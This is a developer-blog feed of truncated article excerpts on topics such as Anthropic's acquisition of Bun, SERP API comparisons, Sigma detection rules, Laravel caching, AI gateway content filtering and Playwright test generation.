    Anthropic just acquired Bun. First acquisition ever for the company behind Claude and Claude Code. Most takes I've seen focus on speed. "Claude Code needs fast tooling." "Milliseconds matter at scale." That's not wrong, but it's not the interesting part either. The interesting part is what this signals about where AI development is headed. Let's dive in! Bun is a JavaScript runtime that's faster than Node.js. It's also a package manager, bundler, and test runner—all in one. It's open source, MIT-licensed, and has about 7 million monthly downloads. Anthropic makes Claude. Their coding tool, Claude Code, has been growing fast—it hit $1 billion in annual run-rate revenue six months after public launch. That's not a typo. Six months. Here's the connection: Claude Code ships as a Bun executabl…  ( 9 min )
    Best SERP API Comparison 2025: SerpAPI vs Exa vs Tavily vs ScrapingDog vs ScrapingBee
    We tested five SERP APIs with standardized benchmarks to find which performs best for different use cases. Exa delivered the fastest responses at 1.180 seconds with semantic search over a proprietary index at $5 per 1,000 queries. Tavily aggregates and parses content for LLM applications. Scrapingdog offers the lowest per-request pricing at under $0.001 at scale. SerpAPI provides the broadest coverage with 20+ search engines. Scrapingbee bundles SERP access with general web scraping. This comparison helps you choose a SERP API for SEO monitoring, AI agents, RAG applications, or price comparison tools. Each section includes benchmark data, pricing breakdowns, and code examples. We tested five SERP APIs using this Python benchmark script that measured response time, success rate, cost, and f…  ( 21 min )
    Before You Learn a Framework, Master the Web: HTML, CSS, and Accessibility Essentials
    There’s a pattern I keep seeing in the developer world today: many people begin their journey by jumping straight into JavaScript frameworks. I’ll be honest — I made this mistake myself. When I first started coding, I jumped straight into JavaScript frameworks without really understanding the fundamentals of the web. I loved building fast, interactive apps and experimenting with all the latest tools and libraries. But underneath all of that, I was ignoring the basics — especially accessibility. I used for buttons. for headings. I styled everything to look right, but nothing had real structure or meaning. It took time (and a few painful code reviews) for me to realise something important: Frameworks change. The web does not. Once I understood that, it completely changed th…  ( 9 min )
    Java's expm1() Method Explained: Why Math.exp(x)-1 Falls Short
    Java's expm1() Method: The Hidden Gem for Flawless Exponential Math (No, Really!) Alright, let's talk about something in Java that sounds like boring math but is actually a low-key superhero for writing correct and precise code. We're diving into Math.expm1(). If you're like most devs, you've used Math.exp(x) a bunch. Need e^x? Cool, Math.exp(x), done. But what about when you need e^x - 1? Your brain instantly goes, "Easy, Math.exp(x) - 1." I get it. It seems logical. But here's the kicker: for tiny values of x, that simple subtraction can be a silent data assassin. That's where Math.expm1(x) swoops in. It's not just a niche function; it's a fundamental tool for writing robust numerical software. Let's break down why, without the jargon overload. What Exactly is Math.expm1()? e^x - 1 (th…  ( 10 min )
    The Architecture of Agentic AI: What Powers the Next Era of Intelligent Automation
    As AI evolves beyond single turn prompts and chat based interactions, a new question is becoming central to developers, engineers and AI architects : What is Agentic AI architecture? The rise of multi step reasoning, autonomous task execution and interconnected systems of AI agents has created a new architectural model , this is not just to generate information, but to act, decide and operate within complex digital environments. This guide breaks down : what agentic architecture is what AI agent architecture looks like the difference between agent architecture and LLM prompts modern patterns like agentic RAG architecture diagrams for understanding real agentic AI systems how these architectures power enterprise and production applications What Is Agentic AI Architectu…  ( 8 min )
    Wednesday Links - Edition 2025-12-03
    Transactions Aren’t Enough: The Need For End-To-End Thinking (5 min)🤝 https://blog.allegro.tech/2025/12/transactions-arent-enough.html Introduction to JVM Method Profiling (11 min)👤 https://softwaremill.com/introduction-to-jvm-method-profiling/ What if Java didn’t have modCount? (13 min)🔀 https://donraab.medium.com/what-if-java-didnt-have-modcount-60f1bba9f3ff Spring Boot Built-in API Versioning (12 min)🏷️ https://piotrminkowski.com/2025/12/01/spring-boot-built-in-api-versioning/ Treat test code like production code (5 min)⭐ https://blog.ploeh.dk/2025/12/01/treat-test-code-like-production-code/ My second Cloudflare Tunnel (2 min)🚇 https://blog.frankel.ch/second-cloudflare-tunnel/ Beyond Regex, Hello AI: Smarter Spring Validation with Semantic AI Validator (14 min)👮 https://softwaremill.com/beyond-regex-hello-ai-smarter-spring-validation-with-semantic-ai-validator/ Quickstart: Run an MCP Server on JVM and Integrate with Copilot (8 min)🔌 https://blog.allegro.tech/2025/12/mcp-server-jvm-copilot-quickstart.html  ( 17 min )
    Data Cataloguing in AWS
    AWS Data Cataloguing Cataloguing Data in AWS Using Glue Crawlers: A Practical Guide for Data Engineers Introduction In modern data engineering, one of the most overlooked but powerful capabilities is data cataloguing. Without a clear understanding of what data exists, where it lives, its schema, and how it changes over time, no ETL architecture can scale. In this guide, I walk through how to catalogue data using AWS Glue Crawlers, and how to structure your metadata layer when working with raw and cleaned datasets stored in Amazon S3. This tutorial uses a simple CSV file in an S3 raw bucket and walks through how AWS Glue automatically discovers its structure and builds a searchable, query-ready data catalog. You can replicate every step through your AWS Console and i…  ( 9 min )
    Elementor Pricing Table Widget: Design High-Converting Plans for Your WordPress Site
    Elementor Pricing Table Widget: Design High-Converting Plans for Your WordPress Site In the competitive landscape of online business, clearly and attractively presenting your services and products is paramount. Whether you're offering digital services, SaaS subscriptions, or physical product bundles, a well-designed pricing page can significantly influence a potential customer's decision. For WordPress users, Elementor stands out as a powerful page builder that simplifies this task, especially with its versatile Pricing Table widget. This article will delve into how you can leverage Elementor's Pricing Table widget to not only display your pricing plans professionally but also to entice visitors to convert into loyal customers. Understanding the Elementor Pricing Table Widget The Elementor…  ( 9 min )
    For decades, building big meant hiring big. Large teams, large budgets, large offices. In 2025, that equation has completely flipped. Today, small teams powered by AI are outperforming large organisations.
    AI + Small Teams = Unfair Advantage (Here’s the Playbook) Jaideep Parashar ・ Dec 3 #ai #design #webdev #discuss  ( 7 min )
    AI + Small Teams = Unfair Advantage (Here’s the Playbook)
    For decades, building big meant hiring big. Large teams, large budgets, large offices, large burn. But in 2025, that equation has completely flipped. Today, small teams powered by AI are outperforming large organisations, not by working harder, but by working with leverage. This isn’t a trend. It’s a structural shift in how value is created. Here’s the real playbook behind why AI + small teams equals an unfair advantage, and how this advantage actually works. 1. Small Teams Move Fast. AI Makes Them Relentless Speed has always been a startup advantage. But now, AI multiplies that speed: Design in minutes Code in hours Test in real-time Market instantly Support automatically Analyze continuously Large teams slow down because of: meetings alignment approvals handoffs dependencies Small teams …  ( 11 min )
    Building a Sigma Rule Engine in TypeScript: Detection-as-Code for Log Analysis
    When I started building LogWard, I wanted more than just a log viewer. I wanted developers to have the same security detection capabilities that SOC teams use in enterprise SIEMs like Splunk or QRadar. But how do you implement security detection rules without reinventing the wheel? Enter Sigma: the open standard for detection rules that works across different log management platforms. Sigma is like "Snort rules for logs." It's a generic signature format that describes suspicious activity in a platform-agnostic way. Instead of writing vendor-specific queries, you write a single YAML rule that can be translated to: Splunk SPL Elastic Query DSL Microsoft Sentinel KQL ...and now, SQL for LogWard Here's a real example from SigmaHQ's repository: title: Suspicious PowerShell Encoded Command statu…  ( 9 min )
    Streaming AI Agent response with AWS REST Gateway and Lambda Function
    Photo by Daniel Seßler on Unsplash Recently, the number one use case for streaming responses is probably interactions with LLMs. It allows providing a better user experience in chat interfaces. Now it is possible to stream a response from Lambda functions using the API REST Gateway. It is big news, as previously streaming response from AWS Lambda has been working in a limited way. It was possible only using the Function URL functionality, and it didn't fit into all use cases. In this blog post, I will create a simple AWS Lambda that calls AWS Bedrock Model and streams the response back to the caller. I will use Rust to keep my Lambda small, fast and cheap. I am using rig.rs as my AI framework. Let' start from defining main function mod http_handler; use http_handler::function_handler; us…  ( 9 min )
    𝗤𝘂𝗶𝗲𝘁 𝗟𝗲𝗮𝗱𝗲𝗿𝘀𝗵𝗶𝗽 𝗪𝗶𝗻𝘀
    Not all leaders raise their voices — some rise by raising their standards. I recently learned about Roshni Nadar, and her journey truly stayed with me. She wasn’t from tech. She wasn’t loud. And many assumed she succeeded only because of her name. But she chose a different path — learning quietly, working consistently, and proving herself through action. From a shy media professional to the first woman leading a major Indian IT company, her rise is remarkable. Her story reminds us: you don’t need noise to create impact — your work can be your voice. Which quality of Roshni inspires you the most — her calm confidence or her consistent growth?  ( 6 min )
    Top 3 Gifts for That One Friend Who Won’t Shut Up About Crypto 🎁🚀
    We all have that friend - the one who checks BTC price before checking messages, explains halvings at parties, and casually says “I don’t hold fiat.” Nothing says “I care about your digital sovereignty” like a cold wallet. Here’s where things get futuristic. blockchain swagger. It’s flexible, secure, and way cooler than handing someone an envelope with cash. If they're the type to say “send USDT instead of flowers,” this is their gift. https://medium.com/@mcknighttyler486/how-i-applied-the-new-wb-check-by-whitebit-in-practice-69bd7a9ec6a2 From neon BTC signs to Ethereum-shaped coasters - Web3 decor is an entire ecosystem. Bonus points if it glows. Everything in crypto glows. 💡😎 Crypto people are weird. Happy gifting - and may your friends forever HODL your respect. 🚀  ( 7 min )
    Best Backend Frameworks for Building Fast, Scalable Web Apps
    Table Of Contents What Are Backend Frameworks (And Why They Matter) How To Choose the Best Backend Framework Backend Frameworks Comparison Table Express & NestJS - the Node.js workhorses Django - batteries included for business apps FastAPI - type-first Python for modern data services Spring Boot - enterprise-grade Java reliability Laravel - PHP’s rapid-fire framework ASP.NET Core - cross-platform, cloud-ready speed Ruby on Rails - convention over configuration Gin & Fiber - Go for low-latency APIs Phoenix - real-time resilience on BEAM Emerging Backend Frameworks to Watch (2026) Architecture Patterns That Unlock Scale Performance Playbook by Framework Family Example Path: From Shortlist to Decision Closing Thoughts - Speed, Scale, And Smart Choices If your app feels slow, users vanish.…  ( 12 min )
    AI Takes the Helm: Autonomous Task Assignment Revolutionizes Construction by Arvind Sundararajan
    AI Takes the Helm: Autonomous Task Assignment Revolutionizes Construction Imagine a construction site where deadlines consistently slip, costs balloon, and robotic teams struggle to coordinate, resulting in expensive downtime. Traditional optimization algorithms, while powerful, often buckle under the weight of real-world unpredictability and the dynamic nature of construction projects. What if you could replace rigid programming with an AI that dynamically adapts to changing conditions, optimizes resource allocation on the fly, and dramatically reduces project costs? That's the promise of a new AI framework utilizing large language models (LLMs) for robotic task assignment. Instead of pre-programmed routes and task sequences, the system leverages natural language reasoning to understand…  ( 7 min )
    Julia Kasper – Rewetting peatlands is the biggest climate opportunity to cut CO2
    In her recent interview, Julia Kasper, co-founder and CEO of Zukunftmoor, argues that rewetting drained peatlands represents the single biggest climate opportunity in agriculture today. Although peatlands cover only about 3 % of the global land surface, they store more carbon than all the world’s forests combined. When peatlands are drained, a common practice for agriculture, they don’t just release CO₂ once; they leak carbon continuously, year after year. Restoring peatlands thus stops that “constant leak,” and rewetting them can turn a major source of emissions into a long-term carbon sink. But rewetting alone is not enough: farmers need viable, sustainable livelihoods. That’s where Zukunftmoor’s innovative approach comes in. They propose combining rewetting with cultivation of Sphagnum moss — a natural plant of peatlands — which can serve as a sustainable substitute for extracted peat in horticultural substrates. This turns rewetting from a purely ecological restoration act into a market-driven, economically viable land-use model. By using drones or hand-seeding methods, and developing harvesting and substrate-supply chains, the approach offers farmers a low-input, long-term pathway to maintain income while restoring degraded peatlands. With this combination of climate mitigation and practical agriculture, Kasper’s vision offers peatland regions across Europe a concrete alternative to drainage-based farming — one that aligns environmental restoration with economic viability. Original article published on Investing in Regenerative Agriculture.  ( 6 min )
    Principais eventos de TI no Brasil em 2026: South Summit, Web Summit Rio e Gramado Summit
    Olá, 1) South Summit Brazil 2026 (25 a 27 de março de 2026, Cais Mauá, Porto Alegre) 2) Web Summit Rio 2026 (8 a 11 de junho de 2026, Rio de Janeiro) 3) Gramado Summit 2026 (06 a 08 de maio, Gramado, RS) Alguém de vocês participou desses ou de eventos similares no ano passado? Quais foram as impressões? Planejam participar de algum desses eventos neste ano? Obrigada pela resposta antecipadamente! Para mais informações e o calendário completo, veja: Nuvemshop Blog — Eventos de Inovação Nexuhub — Agenda Obrigatória das Startups em 2026 Sict RS — South Summit Brazil 2026  ( 7 min )
    The Role of Excel in Business Intelligence(BI) and Data Driven Decision-Making
    Introduction Microsoft Excel remains one of the most enduring and significant tools in the world of data analysis. Before the rise of sophisticated analytics platforms and business intelligence software, Excel was the starting point for many firms to investigate data-driven decision-making. As a spreadsheet tool, Excel helps users to organize, modify, and visualize data in ways that make patterns clearer and insights easier to discover. In contrast, business intelligence (BI) refers to the methods, tools, practices, and technology that transform raw data into meaningful information that is useful for making operational and strategic decisions. While BI has evolved, Excel continues to play a crucial role in bridging the gap between simple analysis and complex enterprise-level insights. Ex…  ( 8 min )
    Mastering Java Lambda Expressions: A Practical Guide for Modern Developers
    Java has evolved dramatically since the days of verbose anonymous classes. With Java 8, the language embraced functional programming through lambda expressions—and today, they're foundational: Streams, concurrency, collections, event handling, and reactive systems all depend on them. If you're a working engineer who wants cleaner, more maintainable Java code, mastering lambdas isn't optional—it's essential. Let's break down lambda expressions with real-world examples you can use immediately. A lambda expression is a concise way to implement a functional interface—an interface with exactly one abstract method. Before lambdas: Runnable r = new Runnable() { @Override public void run() { System.out.println("Hello from thread!"); } }; With lambdas: Runnable r = () -> System…  ( 9 min )
    Speeding Laravel Response Times with Nginx FastCGI Cache
    MDX Content: # Achieving Fast Response Times with Laravel and Nginx Achieving very fast response times with a Laravel app behind Nginx is mostly about avoiding bootstrapping PHP/Laravel on every request. You can accomplish this with: A 300 ms TTFB (time to first byte) for a small site with about 50 records is often caused by: Even with small datasets, the cost of spinning up the framework on every request is high compared to serving a static or cached response directly from Nginx. Nginx FastCGI cache is the key to implementing full-page caching in front of Laravel. It allows you to store the final HTML response on disk (or in memory) and serve it directly, bypassing PHP on subsequent requests. Conceptually, you need to: A typical configuration includes fastcgi_cache_path to define the cach…  ( 9 min )
    Beyond Simple Forwarding – Practical Content Safety in AI Gateways
    (This article only discusses content safety for text generation, not multimodal.) Connecting AI inputs/outputs to a content‑safety filtering system is almost a must‑have feature for any AI gateway. For compliance, on the one hand, personal information in the context needs to be desensitized; on the other hand, certain inappropriate statements need to be sanitized. Most content‑safety filtering systems on the market work similarly: they take a piece of text and return processing results (whether to filter, which rules were violated, what text needs to be replaced, etc.). In fact, an AI gateway can have a dedicated content‑safety subsystem placed on the proxy path. Different content‑safety vendors are just different providers for this subsystem; only the integration formats and configs diffe…  ( 9 min )
    OTP email verification and password reset
    I recently tried to implement a secure OTP-based email verification and password reset flow - only to realize how little concrete, end-to-end guidance is out there. Most write-ups simply skip the gritty parts because everyone seems to rely on external auth providers. I wanted something I could fully control, so I built a self-hosted solution from scratch while thinking carefully about OTP generation, hashing, crypto, race conditions and a smooth user experience. ⚠️ Disclaimer: These are just my personal notes and reflections, not exhaustive security guidance. Evaluate and adapt them to your own system requirements. Prevent email enumeration by making sure all requests take constant time. This can be implemented as a middleware that “sleeps” if a request takes less than a certain amount of …  ( 10 min )
    Make your AI prompts collaborative with VS Code and Promptitude
    A version of this article originally appeared in my personal blog on November 4, 2025 If you're working in a project that is in active development, it's very likely you perform many repetitive tasks that you have done before and will inevitably need to do again in the future. For instance, perhaps you often need to add functionality to your application that calls a given REST API, deserializes its JSON response into a DTO (Data Transfer Object), and then transforms it into a domain object that your app can consume. While the exact endpoint, data payload, and purpose may change from one instance to another, the actual steps in the implementation often remain largely the same. This type of process—fetching data, parsing it, and integrating it into your domain model—is so common in software d…  ( 10 min )
    Build a Chrome Extension with React, TypeScript and Vite
    This article walks through building a Chrome extension from scratch using React, TypeScript and Vite. We'll build a Freelance Rate Calculator that helps developers check their market rate. This article includes: Setup React + Vite + TypeScript project for Chrome Extension Configure manifest.json for Manifest V3 Build calculator UI with Tailwind CSS Load and test extension locally Submit to Chrome Web Store Create new Vite project with React and TypeScript: npm create vite@latest rate-calculator -- --template react-ts cd rate-calculator npm install Add Tailwind CSS: npm install -D tailwindcss postcss autoprefixer npx tailwindcss init -p Configure tailwind.config.js: /** @type {import('tailwindcss').Config} */ export default { content: ["./index.html", "./src/**/*.{js,ts,jsx,tsx}"], …  ( 9 min )
    The AI Boom Has a $5 Trillion Problem
    Central banks don't usually sound alarms about specific technologies. When they do, it's worth paying attention. This week, the Bank of England warned that a multi-trillion dollar spending boom in artificial intelligence infrastructure financed by debt risks unraveling given "materially stretched" stock market valuations. The Bank of England projects that approximately $5 trillion will be spent globally on AI infrastructure over the coming five years. Initially, Big Tech funded this build-out from their massive cash reserves. But that's changing fast. The Bank now estimates that nearly half of the $5 trillion expected to be poured into AI infrastructure over the next five years will come from external financing, particularly through debt markets. That shift matters enormously. When compa…  ( 8 min )
    South Africa vs Nigeria vs Kenya: The Battle to Become Africa's Crypto Capital
    Three nations. One crown. $205 billion at stake. Welcome to Africa's most fascinating economic rivalry where the future of finance is being written not in Silicon Valley, but in Lagos, Johannesburg, and Nairobi. While Wall Street debates whether crypto is the future or a fad, three African nations have already moved past the conversation. They're not asking IF cryptocurrency matters, they're fighting over WHO will dominate it. South Africa, the sophisticated first mover with institutional muscle and regulatory maturity. Nigeria, the scrappy volume king with grassroots adoption that shocks the world. Kenya, the strategic latecomer positioning itself as the "gateway to Africa" with fresh regulation and tech savvy ambition. Between July 2024 and June 2025, Sub Saharan Africa processed over $2…  ( 17 min )
    The Now Go Build Award: Celebrating Global Builders Who Inspire the AWS Community
    Created and personally awarded by Dr. Werner Vogels, Amazon’s Chief Technology Officer, the Now Go Build Award recognizes exceptional individuals who embody the spirit of invention, community leadership, and hands-on building. These are developers, educators, and technologists who don’t just use AWS—they elevate others, scale communities, and turn real-world problems into real-world solutions. Since its inception, the award has highlighted a select group of AWS Heroes and community leaders whose work reflects long-term, meaningful impact. Below is a consolidated timeline of known recipients, along with their contributions and primary announcement links from Werner Vogels. 2025 — Raphael Francis Quisumbing https://www.linkedin.com/posts/wernervogels_this-years-now-go-build-award-goes-to-raphael-activity-7401870859310747648-3XJn Bio: He represents a generation of developers who blend hands-on building, public learning, and people-centered leadership. 2024 — Rossana “Roxs” Suarez https://www.linkedin.com/posts/wernervogels_i-had-the-honour-of-presenting-this-year-activity-7269714613733134337-JPsx/ Bio: 2023 — Luc van Donkersgoed https://www.linkedin.com/posts/wernervogels_aws-reinvent2023-awscommunity-activity-7135136044202496000-RuC3/ Bio: 2022 — Bhuvaneswari Subramani https://www.linkedin.com/posts/wernervogels_my-favorite-part-of-reinvent-is-meeting-activity-7003240238055636992-ncaF/ Bio: 2021 — Matt Coulter https://dev.to/aws-heroes/aws-reinvent-2021-was-a-delight-58g4#werner Bio: Matt is a Serverless Hero and creator of the CDK Patterns project, which became one of the most widely used learning and reference tools for AWS CDK developers. His work has accelerated global adoption of infrastructure-as-code through well-documented, production-ready patterns. Featured prominently by Werner Vogels in the 2021 keynote, Matt exemplifies builders who improve the world by making complex systems more approachable.  ( 7 min )
    Optimize Your Godot 4 Scenes with Merging Meshes
    Hey there, Dev.to Community! 👋 Are you looking to boost the performance of your 3D scenes with a large number of MeshInstance3D or procedural geometry? Look no further than the Merging Meshes add-on for Godot 4! Merging Meshes is a simple but powerful add-on designed to optimize your scenes by combining multiple MeshInstance3D nodes into a single mesh. This reduces the number of drawing calls, resulting in a significant performance boost. Merging Meshes uses the SurfaceTool class to append meshes from MeshInstance3D nodes. This allows you to combine an unlimited number of meshes into one, drastically improving performance. Download and enable the addon: Make sure the folder is located in the addons directory. Add a MergingMeshes node: Add the MergingMeshes node into your scene. Configure the node: In the Inspector panel, add your MeshInstance3D nodes to the meshes parameter. Optional: Assign a Material3D to the GeneralMaterial parameter to set the material for the merged mesh. Recommended: Keep the HideSource parameter enabled to automatically hide the original MeshInstance3D nodes. Download on Github. This mini-add-on is part of a larger project I'm working on for Godot 4. Stay tuned for more updates and features! If you found Merging Meshes helpful, consider starring the repository to make it easier for others to find it. Happy coding! 🚀  ( 6 min )
    Evolution of Agentic AI C/O Amazon Quick suite
    Today, whatever is new quickly becomes old. We started with AI, then moved to Generative AI, and now it's Agentic AI. Honestly, the lines blur because everything overlaps and shines depending on our use cases and requirements. Before diving deeper, it's also key to clarify the difference between Generative AI and Agentic AI. Generative AI is reactive; it creates content, text, images, and code based on user prompts. It focuses on what to create when asked. In contrast, Agentic AI is proactive and autonomous. It takes initiative, sets goals, plans multi-step workflows, makes decisions, adapts dynamically, and executes tasks with minimum supervision. Generative AI powers content within these systems, but Agentic AI orchestrates entire processes to achieve goals efficiently, turning AI from a…  ( 8 min )
    I Built an AI System Design Generator — Here’s How It Works (ArcMind AI)
    ArcMind AI — Generate Complete System Designs Using AI System design is hard. You sit down to design a scalable architecture, and suddenly you’re drowning in: choosing the right components planning microservices deciding databases drawing architecture diagrams explaining everything clearly I’ve gone through this pain myself while building products and preparing for system design interviews. So I created ArcMind AI — an AI-powered system design generator that converts plain English descriptions into fully structured architectures. Just describe what you want to build, and it generates: ✔ Full System Architecture Clear explanations of: API gateway backend services databases caching load balancers queues messaging systems CDN authentication deployment strategy …  ( 7 min )
    The Invisible Jury
    Derek Mobley thought he was losing his mind. A 40-something African American IT professional with anxiety and depression, he'd applied to over 100 jobs in 2023, each time watching his carefully crafted applications disappear into digital black holes. No interviews. No callbacks. Just algorithmic silence. What Mobley didn't know was that he wasn't being rejected by human hiring managers—he was being systematically filtered out by Workday's AI screening tools, invisible gatekeepers that had learned to perpetuate the very biases they were supposedly designed to eliminate. Mobley's story became a landmark case when he filed suit in February 2023 (later amended in 2024), taking the unprecedented step of suing Workday directly—not the companies using their software—arguing that the HR giant's al…  ( 18 min )
    I built an Open Source Instagram Unfollowers tool (No Login required)
    I built an Open Source Instagram Unfollowers tool (No Login required) 🛡️ Hi everyone! 👋 I was tired of "Unfollowers" apps that require a monthly subscription, show tons of ads, or worse—ask for my Instagram password (which is a huge security risk). So, being a developer, I decided to build a safe, open-source alternative. I took inspiration from existing community scripts and wrapped them into a modern, user-friendly tool with a brand new Glassmorphism UI and Mobile support. It's a script that runs locally in your browser console. It scans your followers/following lists using your active session and shows you exactly who isn't following you back. 🛡️ 100% Safe: It runs on your side (client-side). No password required. ⚡ No Login: It uses your active browser session cookies securely. 📱…  ( 7 min )
    SeaORM 2.0: A closer look
    In the previous blog post, we highlighted some of the new features in SeaORM 2.0. In this post, we're going to take a closer look to some of the changes under the hood. Entity::insert_many #2628 We've received many issue reports around the insert_many API. Previously, insert_many shares the same helper struct with insert_one, which led to an awkard API: let res = Bakery::insert_many(std::iter::empty()) .on_empty_do_nothing() // …  ( 12 min )
    Browser Automation Protocols: CDP vs WebDriver Deep Dive
    A technical perspective on browser automation internals, protocol architectures, and when to use what. The Two Protocols Architecture Comparison WebDriver Protocol (W3C) Chrome DevTools Protocol (CDP) Head-to-Head Comparison When to Use What Our CDP Implementation Production Examples Final Thoughts Browser automation comes down to two fundamental approaches: WebDriver - W3C standardized, cross-browser, high-level abstraction over HTTP REST. CDP - Chrome's native debugging protocol, WebSocket-based, low-level access to browser internals. Both solve browser automation. Neither is universally "better." Your use case dictates the choice. ┌──────────────┐ HTTP/REST ┌──────────────┐ Native ┌─────────────┐ │ Client │ ◄────────────► │ Driver │ ◄──────────► │ Browser │ │…  ( 14 min )
    Running Microsoft's Phi-3 on CPU with Rust & Candle
    Python is currently the best tool for training machine learning models (AI), with many tools available in the Python ecosystem - like PyTorch and Hugging Face Transformers - it has never been easier to create a proof of concept for an AI model. We are big fans of Python because of how easy and flexible it is. However, let's take a look at the deployment aspect of using the model. When it comes to inference (running a trained model) on platforms where you need to run a model in a production environment or on a device that is not a computer, Python starts to show its disadvantages. If you've tried deploying a PyTorch application before, then you already know the pain points involved in the process. You have to create a multi-gigabyte Docker container image just to run a simple Python script.…  ( 9 min )
    Enterprise Interop Made Easy: WASM Compiled Libraries for Java Developers
    WebAssembly (WASM) is rapidly evolving into the “universal virtual machine”. Originally designed to let browsers run non‑JavaScript code, WASM has grown beyond its initial scope. Today, major toolchains such as C/C++, Rust, Go, Zig, and even higher‑level languages like Python and C# can compile to WASM, making it a powerful cross‑platform runtime. Both the WASM Virtual Machine and the Java Virtual Machine (JVM) are stack‑based machines. This architectural similarity means that compiling from WASM bytecode to JVM bytecode is not only possible but practical. Projects like Chicory demonstrate this by translating WASM modules into native JVM classes. This approach solves a long‑standing problem: How do we reuse existing C/C++ libraries in modern toolchains without rewriting everything? Tradi…  ( 7 min )
    Understanding Dependency Injection Lifetimes: Singleton, Scoped, and Transient
    Hello there!👋🧔‍♂️ Today, we're exploring the three main service lifetimes: singleton, scoped, and transient. Understanding dependency injection (DI) lifecycle management is crucial for building reliable applications. Get it wrong, and you might end up with memory leaks or shared state bugs. Get it right, and your code will be cleaner and easier to maintain! When you register a service in a dependency injection container, you need to specify its *lifetime, how long the container should keep an instance alive. The three main lifetimes are: Singleton - One instance for the entire application lifetime Scoped - One instance per scope (typically per HTTP request in web apps) Transient - A new instance every time it's requested Singleton is like having one shared tool that everyone uses. There'…  ( 10 min )
    Frontend Is dead (For those who didn’t evolve): The 2025 survival guide
    CSS: if you’re afraid of deleting CSS, your code is legacy. The standard is deletability (Tailwind / zero-runtime CSS-in-JS). JavaScript: mutating objects causes most “weird” bugs. Use immutability by default. React: stop using useEffect to calculate totals. Use derived state during render. Career: companies don’t pay for “beautiful code”. They pay for performance and profit. Let’s be brutally honest: your job title on LinkedIn won't protect you from the next round of layoffs. This is not just another rant; this is a 2025 Frontend Career Guide for those who want to survive. If your routine is still waiting for a Figma file to "translate" pixels into React and installing five libraries just to build a form, you have a target on your back. The bubble has burst. The easy money has dried up…  ( 9 min )
    England's Circular Economy Strategy: What it Means for CRE
    The UK government’s highly anticipated Circular Economy Growth Plan, previously known as the Circular Economy Strategy for England, is now set to be unveiled in the new year, with public consultation expected to follow. This update, confirmed by Defra Secretary of State Emma Reynolds, signals a slight delay from original timelines but reconfirms the government's commitment to addressing the nation's ‘throwaway culture’. For commercial real estate (CRE) and property owners, this renewed focus on circular principles is not just about environmental compliance; it represents a significant shift in operational strategy, asset management, and long-term value creation. Understanding its implications now is crucial for future-proofing portfolios. The forthcoming plan builds on the extensive work o…  ( 8 min )
    5 Tools to Add the Power of AI to Your WooCommerce Store
    The "AI revolution" in e-commerce isn't just about futuristic robots; it's about practical efficiency. For a WooCommerce store owner, AI tools are essentially employees that never sleep, analyzing data, answering questions, and optimizing sales 24/7. With the right WooCommerce development services, these AI-driven solutions can be seamlessly integrated into your store, enhancing customer experience and boosting your business's growth. Below are 5 distinct tools that integrate seamlessly with WooCommerce to modernize your store’s operations. Category: Customer Support & Sales Chatbot Customer support is often the biggest bottleneck for growing stores. Tidio is a popular live chat and chatbot platform, but its standout feature for 2024/2025 is Lyro AI. Lyro is a conversational AI (similar to…  ( 9 min )
    Advanced Configuration and Performance Tuning for Residential Proxies in the Scrapy Framework
    When using Scrapy for large-scale, high-frequency data scraping, simple proxy settings are no longer sufficient. Random IP rotation and fixed delays can lead to inefficiency, IP waste, and even trigger more sophisticated anti-bot mechanisms. Deeply integrating residential proxies with Scrapy and performing performance tuning is an essential skill for building industrial-grade, robust, and efficient data pipelines. This article goes beyond basic proxy middleware configuration, delving into how to implement intelligent IP management, dynamic performance optimization, and cost control within the Scrapy framework to unlock the full potential of residential proxies. The traditional proxy integration method (setting a single proxy in settings.py) is fragile. We need a more robust architecture. R…  ( 10 min )
    Why AI Can't Write Good Playwright Tests (And How To Fix It)
    This article is for anyone writing Playwright tests with AI assistance TL;DR: AI agents using Playwright MCP often write positional selectors like getByRole('button', { name: 'Add to Cart' }).nth(8) or chain parent traversals like locator('..').locator('..') because accessibility snapshots omit non-semantic containers. Verdex is an experimental MCP Server that solves this through progressive disclosure at two layers: Layer 1 - Three DOM exploration primitives (resolve_container, inspect_pattern, extract_anchors) reveal structural information incrementally, using ~3k tokens per exploration instead of 50k+ token DOM dumps. Layer 2 - AI assistant configuration (cursor rules, Claude skills, or similar) teaches LLMs how to compose these tools correctly, loading instructions progressively. Toget…  ( 33 min )
    I built two high-performance Python libraries for production AI: LLM log analytics and vector similarity search
    Hello everyone, I'm excited to share two Python libraries I've been working on recently: llmlog_engine and mini_faiss. Both tackle performance-critical problems in production AI systems with C++ implementations under the hood while providing clean, Pythonic APIs. For context, I've been building LLM-powered applications in production, and two recurring bottlenecks kept appearing. First, analyzing application logs to understand model behavior, error rates, and latency patterns was painfully slow with pandas alone. Second, running similarity searches on embeddings for retrieval systems felt like overkill with full FAISS for smaller datasets, yet pure NumPy was too slow. I explored existing solutions but found a gap: llmlog_engine addresses the need for a lightweight, embedded analytics engine…  ( 10 min )
    What Are Patterns in JDP?
    Let’s be real for a second. Insurance apps are full of repetitive, predictable flows: Do we really want to rebuild the same steps every single time? Guidewire took one look at that chaos and said: “Developers deserve better. And faster. And less repetitive stress.” That’s why Patterns exist in JDP (Jutro Digital Platform). If Jutro Components are the LEGO bricks, Patterns are the pre-built LEGO sets that already look like a car, a house, or a spaceship, you just customize the colors and stickers. In simple words: Patterns are reusable, ready-to-go UI flows built from multiple Jutro components, designed specifically for insurance journeys. You don’t have to reinvent multi-step forms, document upload flows, payment steps, quote summaries, or review pages. Patterns say: It’s like having a fri…  ( 7 min )
    Why Writing About Your Failures Helps Others Ship Faster
    I spent two months building a feature that I deleted in a single afternoon. The code was clean. The tests passed. The architecture was solid. But the fundamental approach was wrong, and no amount of refactoring could save it. I had optimized for the wrong metric, built for the wrong use case, and designed around assumptions that reality brutally disproved. Two months of work. Gone. My first instinct was to bury it. Pretend it never happened. Move on to the next thing and hope nobody asked too many questions about that mysterious gap in my commit history. After all, why would I want to document my failure publicly? Then I wrote a post-mortem. Not for my team—for the internet. I published everything: what I built, why it failed, what I should have done differently, and the specific warning s…  ( 13 min )
    Don't let your bundles go Overweight
